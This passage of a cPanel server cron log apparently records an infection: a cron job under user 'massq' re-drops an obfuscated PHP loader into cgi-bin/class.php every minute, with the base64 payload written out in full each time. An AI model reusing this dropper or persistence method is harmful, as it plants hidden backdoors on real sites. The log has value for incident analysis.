"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:18:01 server CROND[28633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:18:01 server CROND[28634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:18:01 server CROND[28635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:19:01 server CROND[29080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:19:01 server CROND[29081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:19:01 server CROND[29082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:20:01 server CROND[29488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:20:01 server CROND[29491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:20:01 server CROND[29493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:20:01 server CROND[29495]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:20:01 server CROND[29496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:20:01 server CROND[29498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:20:01 server CROND[29503]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:20:01 server CROND[29501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:20:01 server CROND[29497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:21:01 server CROND[30316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:21:01 server CROND[30317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:21:01 server CROND[30315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:22:01 server CROND[30678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:22:01 server CROND[30679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:22:01 server CROND[30681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:23:01 server CROND[31042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:23:01 server CROND[31043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:23:01 server CROND[31044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:24:01 server CROND[31473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:24:01 server CROND[31474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:24:01 server CROND[31475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:25:01 server CROND[31879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:25:01 server CROND[31881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:25:01 server CROND[31884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:25:01 server CROND[31894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:25:01 server CROND[31896]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:25:01 server CROND[31895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:25:01 server CROND[31898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:26:01 server CROND[32716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:26:01 server CROND[32718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:26:01 server CROND[32719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:27:01 server CROND[644]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:27:01 server CROND[648]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  8 03:27:01 server CROND[654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:27:01 server CROND[653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:27:01 server CROND[652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:28:01 server CROND[1097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:28:01 server CROND[1098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:28:01 server CROND[1099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
